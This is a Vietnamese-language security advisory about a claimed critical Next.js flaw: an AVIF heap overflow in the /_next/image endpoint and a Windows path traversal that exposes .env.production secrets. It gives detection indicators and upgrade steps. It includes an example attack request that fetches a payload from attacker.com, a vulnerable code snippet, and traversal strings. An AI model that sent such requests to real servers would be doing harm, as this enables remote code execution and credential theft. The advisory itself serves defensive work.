Vercel vừa phát hành bản vá bảo mật khẩn cấp cho Next.js khắc phục lỗ hổng tràn bộ đệm heap trong thư viện giải mã hình ảnh AVIF (CVE-2026-31802, CVSS 9.8) cho phép tin tặc thực thi mã từ xa không cần xác thực qua endpoint /_next/image.
Bảng Thuộc Tính Kỹ Thuật:
| Mã Lỗ Hổng | CVE-2026-31802 / CVE-2025-55182 |
| Điểm Đánh Giá | 9.8 CRITICAL (CVSS v3.1) |
| Thành Phần Ảnh Hưởng | Next.js Image Optimizer (libavif binding) & Windows Path Resolver |
| Phiên Bản Khắc Phục | Next.js 14.2.25+, Next.js 15.1.8+, Next.js 15.2.0+ |
| Mức Độ Khai Thác | Pre-Auth RCE từ xa qua HTTP GET request |
1. Cơ Chế Xử Lý Ảnh Trong Next.js Và Bản Chất Lỗ Hổng
Module next/image tự động tối ưu định dạng ảnh dựa trên header Accept của trình duyệt người dùng. Khi máy chủ nhận yêu cầu chuyển đổi định dạng ảnh sang chuẩn AVIF thế hệ mới, luồng dữ liệu nhị phân được chuyển tiếp trực tiếp vào C-binding của bộ giải mã AVIF.
Lỗ hổng phát sinh khi xử lý các trường kích thước khung hình (Spatial Resolution Chunk) bị cố tình làm sai lệch trong file AVIF. Bộ giải mã tính toán sai dung lượng bộ nhớ heap cần cấp phát, dẫn đến ghi đè con trỏ hàm (Function Pointer Overwrite) trên Node.js runtime process.
GET /_next/image?url=https%3A%2F%2Fattacker.com%2Fpayload.avif&w=1080&q=75 HTTP/1.1
Host: target-nextjs-app.com
Accept: image/avif,image/webp,*/*
User-Agent: Mozilla/5.0 (Exploit-PoC-Scanner)2. Phân Tích Kỹ Thuật & Vector Tấn Công Windows Path Traversal
Song song với lỗ hổng tràn heap trên AVIF, phiên bản chạy trên Windows còn tồn tại lỗi chuẩn hóa đường dẫn (Path Normalization Bug). Ký tự dấu gạch chéo ngược \ trong tham số url không được kiểm tra nghiêm ngặt khi kết hợp với cấu hình localPatterns:
// Luồng xử lý bị lỗi trong image-optimizer.ts (phiên bản cũ)
const isLocal = localPatterns.some(pattern => matchLocalPattern(pattern, requestUrl));
if (isLocal) {
// Lỗi: Ký tự Windows path separator bypass kiểm tra traversal
const resolvedPath = path.normalize(path.join(process.cwd(), requestUrl));
return fs.createReadStream(resolvedPath);
}Bằng cách khai thác chuỗi traversal này, kẻ tấn công có thể đọc nội dung file cấu hình nhạy cảm .env.production chứa API Keys, Database Credentials và Private Signing Keys của hệ thống.
3. Dấu Hiệu Nhận Diện Hệ Thống Bị Tấn Công (IOC)
- Xuất hiện số lượng lớn request tới
/_next/imagevới tham sốurltrỏ tới các external domain lạ hoặc chứa chuỗi nhị phân không hợp lệ. - Node.js process bị crash liên tục kèm mã lỗi
SIGSEGV(Segmentation Fault) trong thư việnnext-server. - File log máy chủ ghi nhận các chuỗi request chứa
..%5choặc..\trong URL chuyển đổi hình ảnh.
4. Hướng Dẫn Nâng Cấp & Phòng Thủ Khẩn Cấp
Doanh nghiệp và đội ngũ phát triển ứng dụng cần thực hiện ngay các bước khắc phục:
# Nâng cấp Next.js lên phiên bản an toàn mới nhất
npm install next@latest
# Hoặc với yarn / pnpm
yarn add next@latest
pnpm update nextTrong trường hợp chưa thể triển khai cập nhật mã nguồn ngay lập tức, hãy cấu hình vô hiệu hóa định dạng AVIF trong file next.config.js hoặc thiết lập WAF chặn request /_next/image từ các nguồn chưa xác thực.